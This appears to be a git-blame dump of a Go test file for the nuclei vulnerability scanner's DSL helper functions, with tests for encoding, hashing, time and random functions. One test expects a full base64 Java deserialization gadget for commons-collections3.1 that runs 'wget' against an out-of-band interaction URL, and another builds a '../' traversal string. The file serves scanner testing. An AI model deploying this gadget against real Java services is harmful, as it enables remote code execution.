2021-08-27 02:38:15 +05:30
package dsl
import (
2021-12-07 17:34:36 +02:00
"fmt"
2021-12-15 16:03:57 +02:00
"math"
2021-12-09 10:32:01 +02:00
"regexp"
2021-08-27 02:38:15 +05:30
"testing"
2021-09-24 19:35:00 +05:30
"time"
2021-08-27 02:38:15 +05:30
2021-09-24 19:35:00 +05:30
"github.com/Knetic/govaluate"
2021-12-07 17:34:36 +02:00
"github.com/stretchr/testify/assert"
2021-08-27 02:38:15 +05:30
"github.com/stretchr/testify/require"
2021-12-07 17:34:36 +02:00
"github.com/projectdiscovery/nuclei/v2/pkg/types"
2021-08-27 02:38:15 +05:30
)
func TestDSLURLEncodeDecode ( t * testing . T ) {
2022-08-23 13:16:41 +05:30
functions := HelperFunctions
2021-08-27 02:38:15 +05:30
encoded , err := functions [ "url_encode" ] ( "&test\"" )
require . Nil ( t , err , "could not url encode" )
require . Equal ( t , "%26test%22" , encoded , "could not get url encoded data" )
decoded , err := functions [ "url_decode" ] ( "%26test%22" )
require . Nil ( t , err , "could not url encode" )
require . Equal ( t , "&test\"" , decoded , "could not get url decoded data" )
}
2021-09-24 19:35:00 +05:30
func TestDSLTimeComparison ( t * testing . T ) {
2022-08-23 13:16:41 +05:30
compiled , err := govaluate . NewEvaluableExpressionWithFunctions ( "unixtime() > not_after" , HelperFunctions )
2021-09-24 19:35:00 +05:30
require . Nil ( t , err , "could not compare time" )
result , err := compiled . Evaluate ( map [ string ] interface { } { "not_after" : float64 ( time . Now ( ) . Unix ( ) - 1000 ) } )
require . Nil ( t , err , "could not evaluate compare time" )
require . Equal ( t , true , result , "could not get url encoded data" )
}
2021-11-08 17:39:08 +05:30
func TestDSLGzipSerialize ( t * testing . T ) {
2022-08-23 13:16:41 +05:30
compiled , err := govaluate . NewEvaluableExpressionWithFunctions ( "gzip(\"hello world\")" , HelperFunctions )
2022-02-25 22:37:50 +05:30
require . Nil ( t , err , "could not compile encoder" )
2021-11-08 17:39:08 +05:30
result , err := compiled . Evaluate ( make ( map [ string ] interface { } ) )
require . Nil ( t , err , "could not evaluate compare time" )
2022-08-23 13:16:41 +05:30
compiled , err = govaluate . NewEvaluableExpressionWithFunctions ( "gzip_decode(data)" , HelperFunctions )
2022-02-25 22:37:50 +05:30
require . Nil ( t , err , "could not compile decoder" )
data , err := compiled . Evaluate ( map [ string ] interface { } { "data" : result } )
require . Nil ( t , err , "could not evaluate decoded data" )
2021-11-08 17:39:08 +05:30
2022-02-25 22:37:50 +05:30
require . Equal ( t , "hello world" , data . ( string ) , "could not get gzip encoded data" )
2021-11-08 17:39:08 +05:30
}
2021-12-07 17:34:36 +02:00
2022-09-06 22:14:29 +03:00
func TestDslFunctionSignatures ( t * testing . T ) {
createSignatureError := func ( signature string ) string {
return fmt . Errorf ( invalidDslFunctionMessageTemplate , invalidDslFunctionError , signature ) . Error ( )
2022-06-08 17:43:52 +03:00
}
2022-03-16 14:12:26 +05:30
2022-09-06 22:14:29 +03:00
toUpperSignatureError := createSignatureError ( "to_upper(arg1 interface{}) interface{}" )
removeBadCharsSignatureError := createSignatureError ( "remove_bad_chars(arg1, arg2 interface{}) interface{}" )
2022-06-08 17:43:52 +03:00
2022-09-06 22:14:29 +03:00
testCases := [ ] struct {
2021-12-07 17:34:36 +02:00
methodName string
arguments [ ] interface { }
expected interface { }
err string
2022-09-06 22:14:29 +03:00
} {
2021-12-07 17:34:36 +02:00
{ "to_upper" , [ ] interface { } { } , nil , toUpperSignatureError } ,
{ "to_upper" , [ ] interface { } { "a" } , "A" , "" } ,
{ "toupper" , [ ] interface { } { "a" } , "A" , "" } ,
{ "to_upper" , [ ] interface { } { "a" , "b" , "c" } , nil , toUpperSignatureError } ,
{ "remove_bad_chars" , [ ] interface { } { } , nil , removeBadCharsSignatureError } ,
{ "remove_bad_chars" , [ ] interface { } { "a" } , nil , removeBadCharsSignatureError } ,
{ "remove_bad_chars" , [ ] interface { } { "abba baab" , "b" } , "aa aa" , "" } ,
{ "remove_bad_chars" , [ ] interface { } { "a" , "b" , "c" } , nil , removeBadCharsSignatureError } ,
}
2022-08-23 13:16:41 +05:30
helperFunctions := HelperFunctions
2021-12-07 17:34:36 +02:00
for _ , currentTestCase := range testCases {
methodName := currentTestCase . methodName
t . Run ( methodName , func ( t * testing . T ) {
actualResult , err := helperFunctions [ methodName ] ( currentTestCase . arguments ... )
if currentTestCase . err == "" {
assert . Nil ( t , err )
} else {
assert . Equal ( t , err . Error ( ) , currentTestCase . err )
}
assert . Equal ( t , currentTestCase . expected , actualResult )
} )
}
}
2022-09-06 22:14:29 +03:00
func TestGetPrintableDslFunctionSignatures ( t * testing . T ) {
2022-10-06 03:18:05 +05:30
expected := ` aes_cbc ( arg1 , arg2 interface { } ) interface { }
aes_gcm ( arg1 , arg2 interface { } ) interface { }
base64 ( arg1 interface { } ) interface { }
base64_decode ( arg1 interface { } ) interface { }
base64_py ( arg1 interface { } ) interface { }
bin_to_dec ( arg1 interface { } ) interface { }
compare_versions ( firstVersion , constraints ... string ) bool
concat ( args ... interface { } ) string
contains ( arg1 , arg2 interface { } ) interface { }
contains_all ( body interface { } , substrs ... string ) bool
contains_any ( body interface { } , substrs ... string ) bool
date_time ( dateTimeFormat string , optionalUnixTime interface { } ) string
dec_to_hex ( arg1 interface { } ) interface { }
ends_with ( str string , suffix ... string ) bool
generate_java_gadget ( arg1 , arg2 , arg3 interface { } ) interface { }
gzip ( arg1 interface { } ) interface { }
gzip_decode ( arg1 interface { } ) interface { }
hex_decode ( arg1 interface { } ) interface { }
hex_encode ( arg1 interface { } ) interface { }
hex_to_dec ( arg1 interface { } ) interface { }
hmac ( arg1 , arg2 , arg3 interface { } ) interface { }
html_escape ( arg1 interface { } ) interface { }
html_unescape ( arg1 interface { } ) interface { }
join ( separator string , elements ... interface { } ) string
2022-11-14 02:38:12 +02:00
join ( separator string , elements [ ] interface { } ) string
2022-10-06 03:18:05 +05:30
len ( arg1 interface { } ) interface { }
line_ends_with ( str string , suffix ... string ) bool
line_starts_with ( str string , prefix ... string ) bool
md5 ( arg1 interface { } ) interface { }
mmh3 ( arg1 interface { } ) interface { }
oct_to_dec ( arg1 interface { } ) interface { }
print_debug ( args ... interface { } )
rand_base ( length uint , optionalCharSet string ) string
rand_char ( optionalCharSet string ) string
rand_int ( optionalMin , optionalMax uint ) int
rand_ip ( cidr ... string ) string
rand_text_alpha ( length uint , optionalBadChars string ) string
rand_text_alphanumeric ( length uint , optionalBadChars string ) string
rand_text_numeric ( length uint , optionalBadNumbers string ) string
regex ( arg1 , arg2 interface { } ) interface { }
remove_bad_chars ( arg1 , arg2 interface { } ) interface { }
repeat ( arg1 , arg2 interface { } ) interface { }
replace ( arg1 , arg2 , arg3 interface { } ) interface { }
replace_regex ( arg1 , arg2 , arg3 interface { } ) interface { }
reverse ( arg1 interface { } ) interface { }
sha1 ( arg1 interface { } ) interface { }
sha256 ( arg1 interface { } ) interface { }
sha512 ( arg1 interface { } ) interface { }
2022-11-14 02:38:12 +02:00
sort ( elements ... interface { } ) [ ] interface { }
sort ( input number ) string
sort ( input string ) string
split ( input string , n int ) [ ] string
split ( input string , separator string , optionalChunkSize ) [ ] string
2022-10-06 03:18:05 +05:30
starts_with ( str string , prefix ... string ) bool
substr ( str string , start int , optionalEnd int )
to_lower ( arg1 interface { } ) interface { }
to_number ( arg1 interface { } ) interface { }
to_string ( arg1 interface { } ) interface { }
to_unix_time ( input string , optionalLayout string ) int64
to_upper ( arg1 interface { } ) interface { }
trim ( arg1 , arg2 interface { } ) interface { }
trim_left ( arg1 , arg2 interface { } ) interface { }
trim_prefix ( arg1 , arg2 interface { } ) interface { }
trim_right ( arg1 , arg2 interface { } ) interface { }
trim_space ( arg1 interface { } ) interface { }
trim_suffix ( arg1 , arg2 interface { } ) interface { }
2022-11-14 02:38:12 +02:00
uniq ( elements ... interface { } ) [ ] interface { }
uniq ( input number ) string
uniq ( input string ) string
2022-10-06 03:18:05 +05:30
unix_time ( optionalSeconds uint ) float64
url_decode ( arg1 interface { } ) interface { }
url_encode ( arg1 interface { } ) interface { }
wait_for ( seconds uint )
zlib ( arg1 interface { } ) interface { }
zlib_decode ( arg1 interface { } ) interface { }
2022-09-06 22:14:29 +03:00
`
2022-10-06 03:18:05 +05:30
signatures := GetPrintableDslFunctionSignatures ( true )
assert . Equal ( t , expected , signatures )
2021-12-07 17:34:36 +02:00
2022-10-06 03:18:05 +05:30
coloredSignatures := GetPrintableDslFunctionSignatures ( false )
require . Contains ( t , coloredSignatures , ` [93maes_cbc [0m(arg1, arg2 [38;5;208minterface { } [0m) [38;5;208m interface { } [0m ` , "could not get colored signatures" )
2022-09-06 22:14:29 +03:00
}
2021-12-15 16:03:57 +02:00
func TestDslExpressions ( t * testing . T ) {
dslExpressions := map [ string ] interface { } {
2022-09-06 22:14:29 +03:00
` base64("Hello") ` : "SGVsbG8=" ,
` base64(1234) ` : "MTIzNA==" ,
` base64_py("Hello") ` : "SGVsbG8=\n" ,
` hex_encode("aa") ` : "6161" ,
` html_escape("<body>test</body>") ` : "<body>test</body>" ,
` html_unescape("<body>test</body>") ` : "<body>test</body>" ,
` md5("Hello") ` : "8b1a9953c4611296a827abf8c47804d7" ,
` md5(1234) ` : "81dc9bdb52d04dc20036dbd8313ed055" ,
` mmh3("Hello") ` : "316307400" ,
` remove_bad_chars("abcd", "bc") ` : "ad" ,
` replace("Hello", "He", "Ha") ` : "Hallo" ,
` concat("Hello", 123, "world") ` : "Hello123world" ,
` join("_", "Hello", 123, "world") ` : "Hello_123_world" ,
` repeat("a", 5) ` : "aaaaa" ,
` repeat("a", "5") ` : "aaaaa" ,
` repeat("../", "5") ` : "../../../../../" ,
` repeat(5, 5) ` : "55555" ,
` replace_regex("He123llo", "(\\d+)", "") ` : "Hello" ,
` reverse("abc") ` : "cba" ,
` sha1("Hello") ` : "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0" ,
` sha256("Hello") ` : "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969" ,
` sha512("Hello") ` : "3615f80c9d293ed7402687f94b22d58e529b8cc7916f8fac7fddf7fbd5af4cf777d3d795a7a00a16bf7e7f3fb9561ee9baae480da9fe7a18769e71886b03f315" ,
` to_lower("HELLO") ` : "hello" ,
` to_upper("hello") ` : "HELLO" ,
` trim("aaaHelloddd", "ad") ` : "Hello" ,
` trim_left("aaaHelloddd", "ad") ` : "Helloddd" ,
` trim_prefix("aaHelloaa", "aa") ` : "Helloaa" ,
` trim_right("aaaHelloddd", "ad") ` : "aaaHello" ,
` trim_space(" Hello ") ` : "Hello" ,
` trim_suffix("aaHelloaa", "aa") ` : "aaHello" ,
2021-12-15 16:03:57 +02:00
` url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") ` : "https://projectdiscovery.io?test=1" ,
` url_encode("https://projectdiscovery.io/test?a=1") ` : "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1" ,
2022-09-06 22:14:29 +03:00
` gzip("Hello") ` : "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00" ,
` zlib("Hello") ` : "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5" ,
2022-03-16 14:12:26 +05:30
` zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5")) ` : "Hello" ,
2022-03-10 11:56:11 +05:30
` gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000")) ` : "Hello" ,
2021-12-15 16:03:57 +02:00
` generate_java_gadget("commons-collections3.1", "wget https:// {{ interactsh - url }} ", "base64") ` : "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==" ,
2022-09-27 06:29:13 +09:00
` base64_decode("SGVsbG8=") ` : "Hello" ,
` hex_decode("6161") ` : "aa" ,
` len("Hello") ` : float64 ( 5 ) ,
` len(1234) ` : float64 ( 4 ) ,
` contains("Hello", "lo") ` : true ,
` starts_with("Hello", "He") ` : true ,
` ends_with("Hello", "lo") ` : true ,
"line_starts_with('Hi\nHello', 'He')" : true , // back quotes do not support escape sequences
"line_ends_with('Hii\nHello', 'ii')" : true , // back quotes do not support escape sequences
` regex("H([a-z]+)o", "Hello") ` : true ,
` wait_for(1) ` : nil ,
` print_debug(1+2, "Hello") ` : nil ,
` to_number('4') ` : float64 ( 4 ) ,
` to_string(4) ` : "4" ,
` dec_to_hex(7001) ` : "1b59" ,
` hex_to_dec("ff") ` : float64 ( 255 ) ,
` hex_to_dec("0xff") ` : float64 ( 255 ) ,
` oct_to_dec("0o1234567") ` : float64 ( 342391 ) ,
` oct_to_dec("1234567") ` : float64 ( 342391 ) ,
` oct_to_dec(1234567) ` : float64 ( 342391 ) ,
` bin_to_dec("0b1010") ` : float64 ( 10 ) ,
` bin_to_dec("1010") ` : float64 ( 10 ) ,
` bin_to_dec(1010) ` : float64 ( 10 ) ,
` compare_versions('v1.0.0', '<1.1.1') ` : true ,
` compare_versions('v1.1.1', '>v1.1.0') ` : true ,
` compare_versions('v1.0.0', '>v0.0.1,<v1.0.1') ` : true ,
` compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1') ` : true ,
` hmac('sha1', 'test', 'scrt') ` : "8856b111056d946d5c6c92a21b43c233596623c6" ,
` hmac('sha256', 'test', 'scrt') ` : "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92" ,
` hmac('sha512', 'test', 'scrt') ` : "1d3fff1dbb7369c1615ffb494813146bea051ce07e5d44bdeca539653ea97656bf9d38db264cddbe6a83ea15139c8f861a7e73e10e43ad4865e852a9ee6de2e9" ,
` substr('xxtestxxx',2) ` : "testxxx" ,
` substr('xxtestxxx',2,-2) ` : "testx" ,
` substr('xxtestxxx',2,6) ` : "test" ,
2022-11-14 02:38:12 +02:00
` sort(12453) ` : "12345" ,
2022-09-27 06:29:13 +09:00
` sort("a1b2c3d4e5") ` : "12345abcde" ,
` sort("b", "a", "2", "c", "3", "1", "d", "4") ` : [ ] string { "1" , "2" , "3" , "4" , "a" , "b" , "c" , "d" } ,
2022-11-14 02:38:12 +02:00
` split("abcdefg", 2) ` : [ ] string { "ab" , "cd" , "ef" , "g" } ,
` split("ab,cd,efg", ",", 1) ` : [ ] string { "ab,cd,efg" } ,
` split("ab,cd,efg", ",", 2) ` : [ ] string { "ab" , "cd,efg" } ,
` split("ab,cd,efg", ",", "3") ` : [ ] string { "ab" , "cd" , "efg" } ,
` split("ab,cd,efg", ",", -1) ` : [ ] string { "ab" , "cd" , "efg" } ,
` split("ab,cd,efg", ",") ` : [ ] string { "ab" , "cd" , "efg" } ,
2022-09-27 06:29:13 +09:00
` join(" ", sort("b", "a", "2", "c", "3", "1", "d", "4")) ` : "1 2 3 4 a b c d" ,
2022-11-14 02:38:12 +02:00
` uniq(123123231) ` : "123" ,
2022-09-27 06:29:13 +09:00
` uniq("abcabdaabbccd") ` : "abcd" ,
` uniq("ab", "cd", "12", "34", "12", "cd") ` : [ ] string { "ab" , "cd" , "12" , "34" } ,
` join(" ", uniq("ab", "cd", "12", "34", "12", "cd")) ` : "ab cd 12 34" ,
2022-11-14 02:38:12 +02:00
` join(", ", split(hex_encode("abcdefg"), 2)) ` : "61, 62, 63, 64, 65, 66, 67" ,
2021-12-15 16:03:57 +02:00
}
2022-09-06 22:14:29 +03:00
testDslExpressionScenarios ( t , dslExpressions )
}
2021-12-15 16:03:57 +02:00
2022-09-06 22:14:29 +03:00
func TestDateTimeDSLFunction ( t * testing . T ) {
testDateTimeFormat := func ( t * testing . T , dateTimeFormat string , dateTimeFunction * govaluate . EvaluableExpression , expectedFormattedTime string , currentUnixTime int64 ) {
dslFunctionParameters := map [ string ] interface { } { "dateTimeFormat" : dateTimeFormat }
if currentUnixTime != 0 {
dslFunctionParameters [ "unixTime" ] = currentUnixTime
}
result , err := dateTimeFunction . Evaluate ( dslFunctionParameters )
require . Nil ( t , err , "could not evaluate compare time" )
require . Equal ( t , expectedFormattedTime , result . ( string ) , "could not get correct time format string" )
2021-12-15 16:03:57 +02:00
}
2022-09-06 22:14:29 +03:00
t . Run ( "with unix time" , func ( t * testing . T ) {
dateTimeFunction , err := govaluate . NewEvaluableExpressionWithFunctions ( "date_time(dateTimeFormat)" , HelperFunctions )
require . Nil ( t , err , "could not compile encoder" )
currentTime := time . Now ( )
expectedFormattedTime := currentTime . Format ( "02-01-2006 15:04" )
testDateTimeFormat ( t , "02-01-2006 15:04" , dateTimeFunction , expectedFormattedTime , 0 )
testDateTimeFormat ( t , "%D-%M-%Y %H:%m" , dateTimeFunction , expectedFormattedTime , 0 )
} )
t . Run ( "without unix time" , func ( t * testing . T ) {
dateTimeFunction , err := govaluate . NewEvaluableExpressionWithFunctions ( "date_time(dateTimeFormat, unixTime)" , HelperFunctions )
require . Nil ( t , err , "could not compile encoder" )
currentTime := time . Now ( )
currentUnixTime := currentTime . Unix ( )
expectedFormattedTime := currentTime . Format ( "02-01-2006 15:04" )
testDateTimeFormat ( t , "02-01-2006 15:04" , dateTimeFunction , expectedFormattedTime , currentUnixTime )
testDateTimeFormat ( t , "%D-%M-%Y %H:%m" , dateTimeFunction , expectedFormattedTime , currentUnixTime )
} )
}
func TestDateTimeDslExpressions ( t * testing . T ) {
t . Run ( "date_time" , func ( t * testing . T ) {
now := time . Now ( )
dslExpressions := map [ string ] interface { } {
2022-10-06 03:18:05 +05:30
` date_time("%Y-%M-%D") ` : fmt . Sprintf ( "%02d-%02d-%02d" , now . Year ( ) , now . Month ( ) , now . Day ( ) ) ,
` date_time("%Y-%M-%D", unix_time()) ` : fmt . Sprintf ( "%02d-%02d-%02d" , now . Year ( ) , now . Month ( ) , now . Day ( ) ) ,
` date_time("%Y-%M-%D", 1642032000) ` : time . Date ( 2022 , 01 , 13 , 0 , 0 , 0 , 0 , time . UTC ) . Local ( ) . Format ( "2006-01-02" ) ,
` date_time("%H-%m") ` : fmt . Sprintf ( "%02d-%02d" , now . Hour ( ) , now . Minute ( ) ) ,
` date_time("02-01-2006", unix_time()) ` : now . Format ( "02-01-2006" ) ,
` date_time("02-01-2006", 1642032000) ` : time . Date ( 2022 , 01 , 13 , 0 , 0 , 0 , 0 , time . UTC ) . Local ( ) . Format ( "02-01-2006" ) ,
2022-09-06 22:14:29 +03:00
}
testDslExpressionScenarios ( t , dslExpressions )
} )
t . Run ( "to_unix_time(input string) int" , func ( t * testing . T ) {
expectedUtcTime := time . Date ( 2022 , 01 , 13 , 16 , 30 , 10 , 0 , time . UTC )
dateTimeInputs := map [ string ] time . Time {
// UTC time
"2022-01-13T16:30:10Z" : expectedUtcTime ,
"2022-01-13T16:30:10+00:00" : expectedUtcTime ,
"2022-01-13T16:30:10-00:00" : expectedUtcTime ,
// explicit time offset
"2022-01-13 16:30:10 +01:00" : time . Date ( 2022 , 01 , 13 , 16 , 30 , 10 , 0 , time . FixedZone ( "UTC+1" , 60 * 60 ) ) ,
"2022-01-13 16:30 +01:00" : time . Date ( 2022 , 01 , 13 , 16 , 30 , 0 , 0 , time . FixedZone ( "UTC+1" , 60 * 60 ) ) ,
"2022-01-13 +02:00" : time . Date ( 2022 , 01 , 13 , 0 , 0 , 0 , 0 , time . FixedZone ( "UTC+2" , 2 * 60 * 60 ) ) ,
"2022-01-13 -02:00" : time . Date ( 2022 , 01 , 13 , 0 , 0 , 0 , 0 , time . FixedZone ( "UTC+2" , - 2 * 60 * 60 ) ) ,
// local time
"2022-01-13 16:30:10" : time . Date ( 2022 , 01 , 13 , 16 , 30 , 10 , 0 , time . Local ) ,
"2022-01-13 16:30" : time . Date ( 2022 , 01 , 13 , 16 , 30 , 0 , 0 , time . Local ) ,
"2022-01-13" : time . Date ( 2022 , 01 , 13 , 0 , 0 , 0 , 0 , time . Local ) ,
}
for dateTimeInput , expectedTime := range dateTimeInputs {
dslExpression := fmt . Sprintf ( ` to_unix_time("%s") ` , dateTimeInput )
t . Run ( dslExpression , func ( t * testing . T ) {
actual := evaluateExpression ( t , dslExpression )
assert . Equal ( t , expectedTime . Unix ( ) , actual )
} )
}
} )
t . Run ( "to_unix_time(input string, layout string) int" , func ( t * testing . T ) {
testScenarios := [ ] struct {
inputDateTime string
layout string
expectedTime time . Time
} {
{ "2022-01-13T16:30:10+02:00" , time . RFC3339 , time . Date ( 2022 , 01 , 13 , 16 , 30 , 10 , 0 , time . FixedZone ( "UTC+2" , 2 * 60 * 60 ) ) } ,
{ "13-01-2022 16:30:10" , "02-01-2006 15:04:05" , time . Date ( 2022 , 01 , 13 , 16 , 30 , 10 , 0 , time . UTC ) } ,
{ "13-01-2022 16:30" , "02-01-2006 15:04" , time . Date ( 2022 , 01 , 13 , 16 , 30 , 0 , 0 , time . UTC ) } ,
{ "13-01-2022" , "02-01-2006" , time . Date ( 2022 , 01 , 13 , 0 , 0 , 0 , 0 , time . UTC ) } ,
{ "13-01-2022 16:30:10 +02:00" , "02-01-2006 15:04:05 Z07:00" , time . Date ( 2022 , 01 , 13 , 16 , 30 , 10 , 0 , time . FixedZone ( "UTC+2" , 2 * 60 * 60 ) ) } ,
{ "13-01-2022 16:30 +01:00" , "02-01-2006 15:04 Z07:00" , time . Date ( 2022 , 01 , 13 , 16 , 30 , 0 , 0 , time . FixedZone ( "UTC+1" , 60 * 60 ) ) } ,
{ "13-01-2022 -03:30" , "02-01-2006 Z07:00" , time . Date ( 2022 , 01 , 13 , 0 , 0 , 0 , 0 , time . FixedZone ( "UTC-3:30" , - 3 * 60 * 60 - 30 * 60 ) ) } ,
}
for _ , testScenario := range testScenarios {
dslExpression := fmt . Sprintf ( ` to_unix_time("%s", "%s") ` , testScenario . inputDateTime , testScenario . layout )
t . Run ( dslExpression , func ( t * testing . T ) {
actual := evaluateExpression ( t , dslExpression )
assert . Equal ( t , testScenario . expectedTime . Unix ( ) , actual )
} )
}
} )
2021-12-15 16:03:57 +02:00
}
func TestRandDslExpressions ( t * testing . T ) {
randDslExpressions := map [ string ] string {
2022-03-21 17:39:10 -07:00
` rand_base(10, "") ` : ` [a-zA-Z0-9] { 10} ` ,
` rand_base(5, "abc") ` : ` [abc] { 5} ` ,
` rand_base(5) ` : ` [a-zA-Z0-9] { 5} ` ,
` rand_char("abc") ` : ` [abc] { 1} ` ,
` rand_char("") ` : ` [a-zA-Z0-9] { 1} ` ,
` rand_char() ` : ` [a-zA-Z0-9] { 1} ` ,
` rand_ip("192.168.0.0/24") ` : ` (?:[0-9] { 1,3}\.) { 3}[0-9] { 1,3}$ ` ,
` rand_ip("2001:db8::/64") ` : ` (?:[A-Fa-f0-9] { 0,4}:) { 0,7}[A-Fa-f0-9] { 0,4}$ ` ,
2021-12-15 16:03:57 +02:00
` rand_text_alpha(10, "abc") ` : ` [^abc] { 10} ` ,
` rand_text_alpha(10, "") ` : ` [a-zA-Z] { 10} ` ,
` rand_text_alpha(10) ` : ` [a-zA-Z] { 10} ` ,
` rand_text_alphanumeric(10, "ab12") ` : ` [^ab12] { 10} ` ,
` rand_text_alphanumeric(5, "") ` : ` [a-zA-Z0-9] { 5} ` ,
` rand_text_alphanumeric(10) ` : ` [a-zA-Z0-9] { 10} ` ,
` rand_text_numeric(10, 123) ` : ` [^123] { 10} ` ,
` rand_text_numeric(10) ` : ` \d { 10} ` ,
}
for randDslExpression , regexTester := range randDslExpressions {
t . Run ( randDslExpression , func ( t * testing . T ) {
actualResult := evaluateExpression ( t , randDslExpression )
compiledTester := regexp . MustCompile ( fmt . Sprintf ( "^%s$" , regexTester ) )
fmt . Printf ( "%s: \t %v\n" , randDslExpression , actualResult )
stringResult := types . ToString ( actualResult )
assert . True ( t , compiledTester . MatchString ( stringResult ) , "The result '%s' of '%s' expression does not match the expected regex: '%s'" , actualResult , randDslExpression , regexTester )
} )
}
}
func TestRandIntDslExpressions ( t * testing . T ) {
randIntDslExpressions := map [ string ] func ( int ) bool {
` rand_int(5, 9) ` : func ( i int ) bool {
return i >= 5 && i <= 9
} ,
` rand_int(9) ` : func ( i int ) bool {
return i >= 9
} ,
` rand_int() ` : func ( i int ) bool {
return i >= 0 && i <= math . MaxInt32
} ,
}
for randIntDslExpression , tester := range randIntDslExpressions {
t . Run ( randIntDslExpression , func ( t * testing . T ) {
actualResult := evaluateExpression ( t , randIntDslExpression )
actualIntResult := actualResult . ( int )
assert . True ( t , tester ( actualIntResult ) , "The '%d' result of the '%s' expression, does not match th expected validation function." , actualIntResult , randIntDslExpression )
} )
}
}
func evaluateExpression ( t * testing . T , dslExpression string ) interface { } {
2022-08-23 13:16:41 +05:30
compiledExpression , err := govaluate . NewEvaluableExpressionWithFunctions ( dslExpression , HelperFunctions )
2021-12-15 16:03:57 +02:00
require . NoError ( t , err , "Error while compiling the %q expression" , dslExpression )
actualResult , err := compiledExpression . Evaluate ( make ( map [ string ] interface { } ) )
require . NoError ( t , err , "Error while evaluating the compiled %q expression" , dslExpression )
for _ , negativeTestWord := range [ ] string { "panic" , "invalid" , "error" } {
require . NotContains ( t , fmt . Sprintf ( "%v" , actualResult ) , negativeTestWord )
}
return actualResult
}
2022-09-06 22:14:29 +03:00
func testDslExpressionScenarios ( t * testing . T , dslExpressions map [ string ] interface { } ) {
for dslExpression , expectedResult := range dslExpressions {
t . Run ( dslExpression , func ( t * testing . T ) {
actualResult := evaluateExpression ( t , dslExpression )
if expectedResult != nil {
assert . Equal ( t , expectedResult , actualResult )
}
fmt . Printf ( "%s: \t %v\n" , dslExpression , actualResult )
} )
}
}